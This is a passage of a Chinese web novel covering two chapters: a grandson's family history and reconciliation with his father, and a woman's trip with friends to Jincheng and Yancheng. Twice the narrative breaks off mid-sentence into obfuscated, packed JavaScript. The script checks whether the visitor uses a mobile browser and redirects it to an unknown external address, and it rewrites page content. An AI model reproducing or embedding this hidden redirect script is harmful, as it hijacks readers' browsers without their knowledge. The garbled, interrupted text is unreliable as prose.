裴老爷子年事已高，尤其近些年来身体每况愈下，前几日更是叫了律师当着儿孙的面立下了遗嘱。 而就在刚才，时序送裴老爷子回房准备出来时，裴老爷子叫住了他：“小序，你等等。” 时序依言站在原地。 裴老爷子走到斗柜前，拿起置于桌面的一个小木盒。 “小序，这是你祖母留下的。”说起老伴，裴老爷子的眼里有泪光在闪烁，声音也轻了些许，“是留给大孙媳妇的。” “祖父。”面对裴老爷子塞过来的木盒，时序眉头紧锁，“您给我这个做什么？” “爷爷这身体不知道……” “祖父！”时序重重打断了他的话。 “好好好，爷爷不说了。”裴老爷子嘴上虽这样说，态度却坚决，“小序，你就当替爷爷保管好不好？爷爷年纪大了，记性不好。” 见时序半天不接，裴老爷子直接拿起他的手，将木盒塞进他的掌心，强势道：“反正早晚都要给的，听话，收下。” 老爷子都已经这样说了，时序再推辞就显得刻意了。 于是他只能应下：“好吧，那我先替祖父保管。等您喝孙媳妇茶的那日，再交由您。” “哈哈哈——好好好，爷爷等着这杯孙媳妇茶。” 老爷子爽朗的笑声仿佛还在耳畔，时序却感到了深深的无力感。 裴老爷子一共育有二子，大儿子裴延东，二儿子便是裴小海的父亲裴延宗，其中裴延宗是领养来的孩子。 裴延宗成家后就搬离了老宅，本就不亲的关系在联系变少之后，变得更加生疏。 裴延东和时谙则一直住在老宅，照料也陪伴裴老爷子。 想到父母，时序的思绪飘回了刚被领回裴家的那年中秋夜。 75. 迟到了也没关系 迟到多久都没关系，只要能等来心之所向。 ——《橘色告白》 二〇〇六年，中秋夜。 时序在那个别扭的团圆夜得知了一段别扭的往事。 时谙和裴延东是高中同学，在大一的时候悄悄谈起了恋爱。 初恋总是美好的，前三年他们的感情如胶似漆，意外出现在大四下学期那年。 裴延东在梦想和爱情之间犹豫不决，一方面想去国外实现自己战地记者的理想，一方面又放不下时谙一个人在国内。 就在他两难之际，时谙替他做出了决定。 “东哥，我们分手吧。”恋爱期间她一直叫裴延东“东哥”。 “我……” 他还想说什么却被时谙笑着打断：“可能我们的缘分就到这里了，不必过于强求，也不要太难过。” 也许是时谙冷静到近乎冷漠，也许是他正好需要这样一个理由，最后他带着不甘又不舍的矛盾心情，一句挽留的话都没有说，毫不犹豫地出了国。 少年心性的赌气几乎酿成了一生的遗憾。 裴延东出国后，时谙在一个月后发现自己怀了他的孩子。 距离毕业还有两个月，她决定留下孩子。 那一年，从春天到栀子花开的毕业季，时谙吃了这辈子从未吃过的苦。一边是让她感到焦头烂额的毕业设计，一边是时轻时重的妊娠反应，而这一切都是她一个人默默地承受着。 毕业后，她怀孕的事到底还是让家人知道了，父母气她不知爱惜自己，却也心疼她年纪轻轻就要当未婚妈妈，最终权衡再三，带着她搬到了无人认识的小镇生活。 有新邻居问起，都统一口径说孩子的父亲是海员，一年到头几乎都在海上飘着。 时序出生后，因为各种原因，时谙带着他搬到了闽镇，母子俩过了一段相对平静的生活。 再之后，就是小小的时序遇到了小小的甄好，直到被认回裴家，他的生活可以说是顺风顺水。 但该说不说，被认回裴家后，他的生活更加顺风顺水。 旁人都说他命好，他不否认，却也真的感到没有从前快乐。 没有甄好的日子，快乐都像隔着一层毛玻璃，不真实，也不敞亮。 父母年轻时候的遗憾谁都没有错，但当时才在上初中的时序并不能理解，只觉得是裴延东抛弃了他们母子，是以住进裴家老宅后，他从不曾对这个缺席多年的父亲有过一次好脸色。 倒是裴老爷子总让他想起因病去世的外公，反倒愿意亲近些。 祖孙情建立得很快，父子情却一直停滞不前，甚至有些如履薄冰。 父子关系第一次出现松动是在时序中考过后的那个暑假，他无意间翻出了裴延东的旧物。 放旧物的纸箱里都是一些老照片和手写明信片，除了这两样，还有一部一看就很有年代感的旧相机。 他从这些旧物中可以拼凑出很多故事来—— 比如，裴延东一个人去了很多国家，不论是边陲小国还是战乱国度，他都义无反顾，带着相机走遍当地的每一个角落，留下许多弥足珍贵的照片； 比如，裴延东曾在一个政权旁落的部落里感染过严重的病毒，差点死在那里回不了祖国； 比如，裴延东痊愈之后，又一个人去看了动物大迁徙，去追了极光，去了童话里的冰雪世界； 再比如，原来裴延东在重逢时谙后，为他们母子拍下了很多生活瞬间…… 他一边佩服裴延东的勇敢，敢于一个人去往那么危险的地方做战地记者，一方面又渴望像别的同学那样拥有父亲的爱…… 少年时序就这样别别扭扭地和裴延东相处着，嘴上仍旧嫌弃，可任谁都能看得出他对裴延东的态度明显发生了变化。 他也看得出时谙因为他的这一变化，脸上幸福的笑容多了很多，真正与裴延东和解是在高一那年。 夏季的闽市多台风，那一日正好是台风登陆时，整座城市几乎陷入停摆状态。 学校早早就提前放了台风假，偏时序的篮球瘾犯了，一个人去了距离老宅十几公里远的某个露天篮球场。 风雨来临之际，他正打得酣畅淋漓，丝毫没有回家的意思。 等他彻底意识到情况不妙时，已经来不及了。 雨水像倒灌一样，迅速让道路产生了积水，积水越涨越高，猛烈的风几乎要吹倒绿化树，别说没伞，就是有伞也寸步难行。 起初，时序是没什么感觉的，可随着时间的推移，这场雨丝毫没有要停下来的趋势，他开始感到了一丝丝焦躁。 为了逃避裴家人的管束，也为了让耳根子清净一些，他特地挑了一处杳无人烟的公园，因为这个决定，让他眼下不仅回家无望，肚子还饿得咕咕叫，被风雨打湿的衣服更是黏在身上，风一吹凉凉的。 他没忍住连续打了两个喷嚏，也是这一刻，他才万分怀念干净宽敞的裴家老宅。 别的不说，起码有张婶随时给他准备各种美食，不至于饿肚子。 他终于低下高傲的头颅，给家里的座机打去了电话，电话正好是张婶接的，她让他找个地方等待，不要乱跑。 他一一应下。 等待的时间总是漫长无比，时序抱着篮球躲在屋檐下的背影看起来孤独又无助。 就在他冷得有些发抖时，下得发白的雨幕里有一个人影渐渐走来。 那张脸慢慢在少年眼里清晰，是裴延东。 “小序，阿爸来了。”这是裴延东见到他说的第一句话。 相认以来，他从不肯叫裴延东一声“阿爸”，裴延东却坚持不懈地自称“阿爸”。 换成往日，时序总要顶一句：“你不是我阿爸！” 裴延东从没生过气，总是好脾气地笑笑不说话。 可这天，时序破天荒地没有顶嘴。 裴延东并未察觉他的异常，只是又语气温和地说：“小序，我们回家。” 我们。 回家。 明明是再普通不过的四个字，明明不是第一次听到这句话，但此时此刻的时序偏偏被狠狠触动，心里的某个角落顷刻间坍塌。 看着裴延东伸出的手，他虽然仍旧未领情，却不再浑身带着刺，低声“嗯”了一声。 因为蹲久了，他的脚麻得像针扎，起身的一瞬间站都站不稳。 父子俩的手到底还是交握在了一起，等时序站稳后，裴延东背对着他弯下身，语气波澜不惊：“上来，阿爸背你。” 时序踌躇许久，始终没有动作。 “担心阿爸背不动你？”裴延东回头看着他笑，“可别小瞧阿爸，上来。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132969|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 趴在裴延东宽阔而温暖的背时，时序心底涌起一阵奇妙的感觉。 像儿时飘零的自己，终于被人稳稳地托住，一步一步、稳稳地走向亮着灯火的家。 裴延东的车就停在不远处，父子二人很快进了车里。 恰好时谙的电话打了过来，裴延东将手机开了免提，同时扯下几张纸一边去擦时序半湿的头发，一边说道：“接着小序了，别担心。” 时序阻拦的动作因为时谙的话而停了下来，女人的声音温柔里带着一丝责怪：“接到就好。都说让我去了，你那腰受伤了到现在还没好，万一再有个好歹怎么办……” “老婆，小序听着呢。”裴延东没来得及阻止时谙的话，只能略显小心翼翼地看着时序，连手上擦头发的动作都忘了。 彼时风雨已经渐渐变小，天地像被洗过的一般澄净。 这场雨好像洗涤的不仅仅是天和地，还有时序那颗别扭了多时的心。 他没有说话，也没有拒绝裴延东替自己继续擦头发，回老宅的路上更是沉默得可怕。 裴延东只当他累了，没有多说什么。 直到回了老宅，时序才别扭地问了一句：“阿爸，你疼吗？” 他指的是腰。 裴延东开车来接他不说，又背着他走了不长不短的一段路，万一造成了二次伤害，那他就罪过了。 他将自己对裴延东的关心合理化成哪怕是普通朋友为自己这样做，他也应当关心一下。 可裴延东的关注点不在自己的腰疼不疼上，而是：“小序，你叫我什么？” 意识到自己脱口而出的那声“阿爸”，时序一张脸涨红了，快速撇过头：“没什么！你听错了！” 听到车子引擎声的时谙迎了出来：“回来啦。” 时序抓准时机，飞快地打开车门，飞快地跑回自己的房间。 “小序这孩子怎么了？”时谙望着时序逃也似的背影，不解道。 “没事，大概是打球累了吧。”裴延东嘴角是压不下去的笑意。 他终于等到这一天了。 “你们父子俩肯定有什么事瞒着我……”时谙再了解不过这对父子了，当下就看出了端倪。 “真的没什么……”裴延东眉眼间都是笑意，“这孩子方才叫我爸了。” “真的吗？”时谙听了惊喜不已，“小序真的愿意叫你爸了？” “小点声，等下小序听了不高兴。”裴延东压低声音道。 “对对对，小序会不好意思。”时谙捂着嘴轻笑。 时序并没有真的回房，而是躲在客厅的罗马柱后拼命稳着呼吸。 听着父母喜不自胜的声音，不知为何，他也不自觉扬起了嘴角。 这裴家老宅，好像哪里变得不一样了。 时序第二次叫裴延东“阿爸”是发生在同年春节，裴家照例拍全家福的时候，他看着经由男人之手，每张照片都拍得情绪饱满、构图精妙，不禁脱口而出：“阿爸，你教我拍照吧！” 他话音一落地，裴家的所有人都静默了一瞬，而后裴延东带笑的声音响起：“好啊，阿爸教你。” ………… 时序停止回忆。 那是他第一次觉得有家人真好，而今天，是他第一次觉得能够陪在家人身边就是莫大的幸福。 76. 寻找和解的路口 她一路跑，一路寻找与父母和解的路口。 ——《橘色告白》 在甄好还没想好自己要如何处理自己和时序之间的感情时，三人小群里的其他两人替她做了另一个决定。 周淳芮：“好好，好好，呼叫好好！” 鄢云书：“我也呼叫。” 三人齐聚一堂这种盛景是很难得的。 主要是因为鄢大医生实在太忙了，基本上看不到她出现。 甄好：“来了。” 周淳芮：“下个月一号我生日，我决定去北方看海！” 周淳芮：“我们三个一起？” 甄好：“我们三个……云云有时间吗？” 入北方看海少说也得安排三天两夜吧…… 鄢云书：“特意调了年假，还和同事换了班，得到了五天假期。” 甄好：“好，去！” 连鄢大医生都这么努力了，她这个自由职业者还有什么理由推脱？ 周淳芮：“太好了！初中约好的一起去看海终于即将实现！” 鄢云书：“年前去的南溪镇算什么？” 周淳芮：“算小海，这次我要去看大海！” 因为这趟计划之外的旅程，甄好必须在出发前将十天的工作压缩到五天之内完成。 接踵而至的工作让她更加没有空余的时间去思考感情之事，那种忙得脚不沾地的感觉重新找上了她。 她们三人属周淳芮最闲，所以她表示一应行程，包括车票、酒店和住宿都由她来选择和预订，剩余两人自然没有意见。 五日后，当甄好看着登机牌上的目的地，有些傻眼：“我们不是去烟城吗？” 周淳芮狡黠一笑：“先去津城！” 去津城吗…… 提起津城，甄好的心不由得颤了颤。 那是她儿时最想去看一看的城市，后来长大了、相对自由了，她反而没有勇气踏足半步。 “好好，你不想去吗？”周淳芮和鄢云书对视一眼，心里突然紧张起来。 她和鄢云书会不会太过擅作主张了？ 津城是甄好一直以来的执念，但这不是她们强行带着她去的理由。 “如果不想去也没事，我们换个……” 周淳芮的话被甄好打断：“去，为什么不去？” 饶是她的语气坚决，周淳芮仍旧有些不放心：“好好，你别勉强自己，不想去咱就不去，没事的……” 甄好却冲她嫣然一笑：“我从小就想去津城，你忘了吗？走吧，再不过安检就上不了飞机了。” 在飞机穿越云层时，甄好的心还是不可避免地回到了小时候生活的闽镇。 在她还对父母这个词没有明确概念的时候，就知道了津城这个地方。 那是父母生活的城市，也是后来妹妹和弟弟生活的城市。 而她，从不曾窥过其一角。 听说那是个会下雪的城市，小时候的她心想下雪一定很漂亮吧，后来她最讨厌雪； 听说那个城市的果子和麻花很好吃，小时候的她只吃过能够保存较久的麻花，当真很美味，后来她最讨厌麻花； 听说那里的人开口就是相声，总是能逗得人哈哈大笑，后来她最讨厌相声…… 她成长的路上好像总是在一边捡起一边丢弃，却从不知道自己内心真正想要的是什么。 她不敢面对津城这个让她感到童年被至亲抛弃的痛苦之地，亦不敢坦然接受自己就是从小亲情缺失，性格略有缺陷……她的“畏惧”从未真正被克服。 这趟津城之旅让她既期待又惶恐。 经过两个小时四十五分钟的飞行时间，三人顺利落地津城。 等真正踏上这片土地后，甄好想象中的抗拒之情并未出现，反而轻松了很多。 取行李之际，她忽地对两人说：“终于可以吃上热乎的津城果子了。” “以前常听你说，搞得我也期待了十多年呢！”提起吃的，周淳芮比谁都来劲。 “云云，一起去尝尝？”周淳芮说完又转头对鄢云书说道。 “嗯，好。”鄢云书点头答应。 当咬下儿时梦寐以求的那口果子时，甄好感觉有热泪盈于眼眶，心里也热热的。 那种跨越时空迟到的救赎感就这样轻飘飘地散在满是果子香的空气中，飞向不知何处。 “吃起来好像也没有特别嘛。”周淳芮吃了一口后感慨道。 “是啊，美食之所以特别，都是因为被人赋予了特殊的回忆。”甄好的心情变轻松之后，整个人都明媚了起来。 也许旁人看不出她的变化，她却清楚地知道自己心里的某些执着在悄悄坍塌瓦解。 吃过早饭后，三人去看了津城之眼，又去西青胡同走了走，那是甄东成当年带着何允莲母子三人住的地方。 甄好沿着那条胡同，一步一步、缓缓地走着。 其实她并不清楚那年的甄东成一家究竟住在哪一户，可她就是固执地走遍了整个西青胡同。 这座城市好像也没有甄好想象中的那样美好。 跨越二十年多年的时空，津城干燥微凉的风迎面吹来古老的回忆，又轻轻散落在空气里。 然后慢慢飘远，再飘远，抓不住，也不必抓。 “芮芮、云云，我们晚上就出发去烟城吧。”走出那条困住甄好整个童年的胡同后，她听见自己释然的声音。 “不多待一天吗？好不容易来一趟……”周淳芮震惊于甄好的决定。 “不了，该吃的、该看的、该走的，都做过了。”甄好抬头看着头顶高远的天，轻轻闭上眼睛呼吸了一口津城与其他地方多了一丝干燥的空气，再次说道，“出发，去烟城吧！” 出发去看大海吧，去看看自己更广阔的内心吧！ 到达烟城时，是不同于津城的明澈透亮。 对于烟城这座城市，甄好只能想到一个词来形容——干净。 对，澄澈又干净。 打车去酒店的途中，周淳芮接了一个电话。 起初她眉眼都是喜色，随后小心翼翼地看了一眼甄好，说话变得有点支支吾吾：“微信说吧，先……先这样。” 明明没人问她是谁打来的电话，她却心虚地解释了一句：“合作方打来的……呵呵……” 硬要说起来，傅安淮可不就是她的最佳合作方吗？ 在床上合作无间的那种合作方。 意识到自己的思想染了点颜色，周淳芮脸颊一热，悄悄低下头，让头发垂落，盖住自己发烫的脸。 坐了几个小时的高铁，甄好和鄢云书都靠着椅背休息，也就没注意到周淳芮的异样。 她正低着头，手指快速地打着字。不知对方发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141465|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么，她原本平静的表情忽然生动起来。 才到酒店放下行李，她就迫不及待地邀请两人：“好好、云云！我们去体验一下烟城的不夜城吧！” “不夜城？”鄢云书经过舟车劳顿，面上却不见丝毫疲惫，尤其是一双眼睛，亮得惊人，也漂亮得惊人，“酒吧一条街吗？” “对啊对啊，去吧去吧！”一说到酒吧一条街，周淳芮激动得连连点头，“我们都多久没有一起去酒吧了。” 之前她们总去的“橘色”是清吧，对比之下偏文艺温柔。 而此时橘色里五个男人正坐在一起聊着什么，每个人脸色神色各异。 除了时序、宋景和师杭与这三个橘色股东，其余两人分别是傅安淮和贺知勋。 “小裴总，考虑得如何？”傅安淮摇晃着杯中的酒液，微微掀起眼皮看着坐在自己对面的男人。 “没想到你们做大学教授的，这么清闲。”时序姿态闲适地坐在卡座沙发上，并未动宋景新调制的酒。 “还有贺大律师——”他目光一转，落到贺知勋身上，“我可是听说城东那位贾总的官司有些棘手，怎么还有闲情逸致？” 贺知勋轻轻勾唇一笑，眼中满是胜券在握的自信：“这点小案子还不至于让我头疼。” “我就不参与了吧。”时序到底还是拒绝了他们的提议。 “小裴总——”坐在时序身旁的贺知勋忽地靠近他，在他耳边低声说了句什么，而后又拉开距离，像什么都没发生过。 听到他的话，时序微微一愣。 怎么不早告诉他？他现在再反悔多没面子…… 然而下一秒，时序一本正经地说道：“我又仔细想了想，也不是不能参与……” 他难得心虚，说完很快便将重点引到别人身上：“阿与和阿景一道吗？” 一直没说话的师杭与和宋景对视一眼，不约而同地摇了摇头。 师杭与轻笑道：“我就不凑这个热闹了。家里的学姐等着呢。” 他口中的“学姐”是谁，在场的各位都心知肚明，纷纷投来一个暧昧的眼神。 宋景也拒绝了时序的邀请：“我还是守着橘色，跟我的酒好好过日子吧。” 中途，师杭与出去接了个电话。 “学姐，怎么给我打电话了？是不是……” 师杭与那句“是不是想我了”被宋今禾急促地打断：“忘记告诉你了，我和小姐妹约好了今天飞罗马，半个月后见啦，爱你。” 师杭与：“……” “先不说了，马上要过安检了，我爱你，学弟。”宋今禾说完还隔空给了他一个飞吻。 “一路平安，学姐。”师杭与无奈地笑了笑。 宋今禾还是他最初爱的那个模样，张扬、明媚，永远在路上，永远更爱自己。 从他十五岁那年第一次见到刚刚高考完的宋今禾，他的眼里就再也没有别的女生。 爱上宋今禾这件事，像呼吸一样简单，也像呼吸一样，无法戒掉。 另一边，烟城某酒店套房内。 周淳芮等来了她预想中的答案。 甄好没有藏着自己的疲惫：“感觉今天有点累了。要不我们晚上好好睡一觉，明天玩个夜不归宿？” “好啊！”周淳芮答应得极快。 她再了解甄好不过，这就是她想要的结果。